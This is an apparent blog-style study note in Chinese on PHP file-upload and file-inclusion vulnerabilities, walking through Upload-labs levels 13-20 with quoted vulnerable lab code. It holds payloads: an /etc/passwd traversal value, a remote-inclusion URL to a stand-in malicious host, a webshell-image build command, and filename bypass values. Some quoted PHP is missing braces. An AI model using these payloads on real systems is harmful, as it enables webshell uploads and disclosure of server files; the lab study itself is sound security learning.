文件上传--代码层面漏洞

本文主要知识点:

文件头检测
二次渲染
条件竞争
突破getimagesize
突破exif_imagetype

文件包含漏洞的分类

1. 本地文件包含(Local File Inclusion, LFI)

本地文件包含漏洞是指攻击者能够利用应用程序的漏洞,直接访问并执行服务器上的本地文件。这种漏洞通常用于读取敏感文件,如配置文件、日志文件等。

示例代码

如果攻击者通过URL参数file传入../../../../etc/passwd,可能会读取到系统的用户信息。

2. 远程文件包含(Remote File Inclusion, RFI)

远程文件包含漏洞是指攻击者能够通过包含外部服务器上的文件来执行任意代码。这种漏洞通常需要PHP配置中的allow_url_includeallow_url_fopen选项被开启。

示例代码

如果攻击者通过URL参数file传入http://malicious.com/shell.php,可能会执行远程服务器上的恶意代码。

靶场解析

Upload-labs 1-21关 靶场通关攻略(全网最全最完整)_upload靶场-CSDN博客https://blog.csdn.net/weixin_47598409/article/details/115050869

案例演示

        第13关

                  都是文件上传搭配(比如图片马),使用不同的函数进行图片验证

          图片一句话制作方法:
          copy 1.png  /b + shell.php  /a  webshell.jpg

        第14关

                同上

        第15关

                同上

        第16关

                同上

        第17关        

1. 二次渲染的定义

二次渲染是指在文件上传后,服务器对上传的文件进行再次处理或转换的过程。例如,用户上传一张图片,服务器可能会对这张图片进行裁剪、压缩或生成不同尺寸的版本。

2. 二次渲染与文件上传漏洞的关系

在某些情况下,二次渲染过程可能会被攻击者利用来绕过文件上传的限制。例如,攻击者可以上传一个看似无害的文件(如图片),但在二次渲染过程中,服务器可能会错误地解析该文件为可执行脚本,从而导致代码执行。

3. 二次渲染绕过文件上传漏洞的例子

以下是一个具体的例子,展示了如何利用二次渲染绕过文件上传限制:

  • 场景:一个网站允许用户上传图片,但对上传的文件类型进行了严格限制,只允许上传.jpg文件。

  • 攻击步骤

    1. 上传原始图片:攻击者首先上传一个正常的.jpg图片,该图片通过了文件类型检查。

    2. 二次渲染处理:服务器在接收图片后,会对其进行二次渲染,生成不同尺寸的图片版本。

    3. 修改图片内容:攻击者利用工具(如gd-jpeg)对上传的图片进行二次渲染,将恶意代码嵌入到图片的元数据中。

    4. 上传修改后的图片:攻击者将修改后的图片重新上传到服务器。

    5. 触发漏洞:当服务器再次处理这张图片时,可能会错误地解析其中的恶意代码,导致代码执行。

                针对本题,二次渲染 --> 先将文件上传到中转站,决定是否保存,此时可能存在逻辑问题(图片马已经上传到upload_file中),配合条件竞争可以实现上传,比如不断访问该文件,致使rename($upload_file, $img_path) 执行失败。

                ../upload/webshell.jpg                --下载的地址,进行判断

                C:\Users\86135\AppData\Local\Temp\php173A.tmp      --临时放置的位置  

                ../upload/5020200723203146.jpq                --符合条件,更改地址放到这里

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name =$_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    echo $upload_file;
    echo '
'; echo $temp_file; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); //二次渲染 $is_upload = true; echo $img_path }else{ $msg="只允许上传.jpg|·png|·gif类型文件!"; unlink($upload_file); } }else{ $msg='上传出错!'; } }

        第18关

条件竞争在文件上传漏洞中的定义

在文件上传场景中,条件竞争(Race Condition)是指攻击者利用服务器在处理文件上传时的并发问题,通过精心设计的请求序列,导致服务器在文件验证和文件保存之间出现时间差,从而绕过文件类型和内容的检查。

文件上传漏洞中的条件竞争例子

场景描述

假设一个Web应用程序允许用户上传图片文件(如.jpg.png),但不允许上传可执行文件(如.php.asp)。服务器在处理文件上传时,会先检查文件的扩展名和MIME类型,然后将文件保存到服务器的某个目录中。

攻击步骤
  1. 上传正常文件

    • 攻击者首先上传一个正常的图片文件(如image.jpg),该文件通过了服务器的扩展名和MIME类型检查。

    • 服务器将文件保存到临时目录中,例如/tmp/image.jpg

  2. 并发请求

    • 在服务器将文件从临时目录移动到最终目录之前,攻击者发送第二个请求,将临时文件/tmp/image.jpg重命名为一个可执行文件(如shell.php)。

    • 这个操作需要服务器具有对临时目录的写权限,且攻击者能够通过某些手段(如其他漏洞或合法的文件操作接口)修改文件名。

  3. 触发条件竞争

    • 服务器在处理第一个请求时,检查文件扩展名和内容,确认文件是图片后,准备将文件从临时目录移动到最终目录。

    • 在这个过程中,攻击者发送的第二个请求已经将文件重命名为shell.php

    • 当服务器完成文件移动操作时,文件已经被重命名为shell.php,并被保存到了最终目录中。

  4. 结果

    • 攻击者成功上传了一个可执行的PHP文件shell.php,尽管服务器的文件上传检查机制原本应该阻止这种情况。

                针对本题,条件竞争,实际操作:不断上传,不断访问,此时有漏网之鱼,但是一瞬间图片又被rename,此时没有进行图片文件格式验证,上传php代码成功,然后再进行判断和rename。这些都是代码逻辑存在的漏洞

        第19关

                目录命名-x·php/.     

                伪装文件夹:upload/upload-19.php/.       

                用老办法%00截断也可以

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx");
        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;

            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            }else{
                $msg ='上传出错!';
         }else{
            $msg ="禁止保存为该类型文件!";
    }else{
        $msg = UPLOAD_PATH."文件夹不存在,请手工创建!";
    }
}

        第20关

                数组接受+目录命名

                /upload/upload-20.php/.jpg
                save_name[0]='sss.php/ '
                save_name[2]='jpg'
                file =  { 'sss.php/',' ','jpg'}

if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILEs['upload_file']['type'],$allow_type)){
        $msg="禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg ="禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg="文件上传成功!";
                $is_upload = true;
            } else {
                $msg ="文件上传失败!";
        }
    }
  }
}else{
$msg ="请选择要上传的文件!";
}

其他漏洞

        即官方漏洞,特定的漏洞解析思路,脚本函数漏洞

        编辑器漏洞

        CVE等漏洞

                CVE-2015-5254
                CVE-2017-12615-上传-Tomcat
                CVE-2019-2618      

【vulfocus】tomcat文件上传 (CVE-2017-12615)_tomcat 文件上传 (cve-2017-12615)-CSDN博客https://blog.csdn.net/m0_51683653/article/details/127363010

中间件解析漏洞

        都是一些老的方法,参考网络就行,暂略...

        IIS-上传-解析-(panfei806)
        Apache-上传-解析-vulhub
        Nginx-上传-解析-vulhub

你可能感兴趣的:(安全,学习,web安全,网络,笔记)